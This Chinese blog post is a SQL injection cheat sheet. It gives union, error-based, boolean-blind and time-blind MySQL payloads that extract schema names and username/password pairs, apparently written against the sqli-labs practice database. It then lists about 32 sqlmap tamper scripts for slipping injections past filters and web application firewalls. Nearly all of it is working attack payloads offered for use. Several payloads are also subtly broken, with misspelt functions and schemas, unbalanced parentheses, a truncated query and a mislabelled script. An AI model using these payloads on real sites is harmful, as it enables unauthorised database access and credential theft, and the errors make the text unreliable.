sql注入notebook

内容来自:

https://ca0y1h.top/

联合查询注入

使用场景
页面上有显示位
什么是显示位:在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位 。

payload
?id=1' order by 数值 --+
?id=-1' union select 1,2,3 --+
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schema) --+
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
?id=-1' union select 1,2,(select group_concat(name, 0x3a, passwd) from security.users)

报错型注入

使用场景,页面上没有显示位但是有sql语句执行错误信息输出。

  • ExtractValue
extractValue('@1', concat('~', (***payload***)));
extractValue('@1', concat('~', (select database())));
  • UpdateXml
updatexml('qwqw', concat('~', (***payload***)), 'qwqw');
updatexml('qwqw', concat('~', (select database())), 'qwqw');
  • floor
?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),(***payload***))a from information_schema.tables group by a)b
?id=-1' union select 1, count(*), concat((***payload***), floor(rand()*2))as a from information_schema.tables group by a --+
?id=-1' union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
?id=-1' union select 1,count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 1, 1), floor(rand()*2)) as a from information_schema.columns group by a --+
?id=-1' union select 1, count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users', limit 1,1), floor(rand()*2)) as a from information_schema.columns group by a --+
?id=-1' union select 1,count(*), concat((select concat_ws('|',username,password) from security.users limit 1,1), floor(rand()*2))as a from information_schema.tables group by a --+
#limit x,1

布尔盲注

使用场景:页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点。

#数据库    个数-长度-名
?id=1' union (select count(schema_name) from information_schema.schemata) < 77 --+
?id=1' union (select length(schema_name) from information_schema.schemata limit 1,1) < 77 --+
?id=1' union (select assii(substr(select schema_name from information_schema.schema limit 1,1)1,1)) < 77 --+
#表    个数-长度-名
?id=1' union (select count(table_name) from information_schema.tables where table_schema='security') < 77 --+
?id=1' union (select length(table_name) from information.schema.tables where table_schema='security') < 77 --+
?id=1' union (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))) < 77 --+
#字段 个数-长度-名
?id=1' union (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') < 77 --+
?id=1' union (select length(column_name) from infomation_schema.columns where table_schema='security' and table_name='users' limit 1,1) < 77 --+
?id=1' union (select ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))) < 77 --+
# 内容     行数-长度-名
?id=1' union (select count(*) from security.users) < 77 --+
?id=1' union (select length(username) from security.users limit 1,1) < 77 --+
?id=1' union (select ascii(substr((select username from security.users limit 1,1),1,1))) < 77 --+

时间盲注

使用场景:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,如果if条件成立则页面的返回速度明显慢了5秒。

判断数据库的个数
id=1' and if((select count(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
判断数据库名的长度
id=1' and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
查询数据库名
id=1' and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))

SQLMap Tamper

常用的tamper脚本

sql -u [url] --tamper  [模块名]
1.apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper(“1 AND ‘1’='1”)
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2.base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

3.multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper(‘1 UNION SELECT foobar’)
使用脚本后:1 UNION SELECT foobar

4.space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT+id+FROM+users

5.nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将
select替换为空)
使用脚本前:tamper(‘1 UNION SELECT 2–’)
使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

6.space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Did%0DFROM%0Ausers

7.unionalltounion.py
适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper(’-1 UNION ALL SELECT’)
使用脚本后:-1 UNION SELECT

8.securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1 and ‘0having’=‘0having’

9.space2dash.py
适用数据库:ALL
作用:将空格替换为–,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

10.space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’,
‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Eid%0DFROM%07users

11.percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL
9.0
作用:在每个字符前添加一个%
使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

12.sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password

13.charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

14.randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper(‘INSERT’)
使用脚本后:INseRt

15.charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)
使用脚本后:
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u
0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

16.space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT/**/id/**/FROM/**/users

17.equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后:SELECT * FROM users WHERE id LIKE 1

18.equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper(‘1 AND A > B’)
使用脚本后:1 AND GREATEST(A,B+1)=A

19.ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper(‘IFNULL(1, 2)’)
使用脚本后:IF(ISNULL(1),2,1)

20.modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!30874AND 2>1/–

21.space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

22.modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/!00000/)进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!00000AND 2>1/–

23.space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 – ,并追随一个换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–%0AAND–%0A9227=9227

24.bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
使用脚本后:SELECT%09id FROM users where id LIKE 1

25.versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(
32)),CHAR(58,100,114,117,58))#

26.halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper(“value’ UNION ALL SELECT
CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa”)
使用脚本后:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL
L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58
)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa

27.space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

28.apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper(“1 AND ‘1’='1”)
使用脚本后:1 AND %00%271%00%27=%00%271

29.appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1%00

30.chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F
%254D%2520%2554%2541%2542%254C%2545

31.unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper(“1’ AND 1=1”)
使用脚本后:1%bf%27 AND 1=1–

32.randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper(‘INSERT’)
使用脚本后:I//N//SERT
posted @ 2020-04-21 17:23  10nnn4R  阅读(183)  评论(0编辑  收藏  举报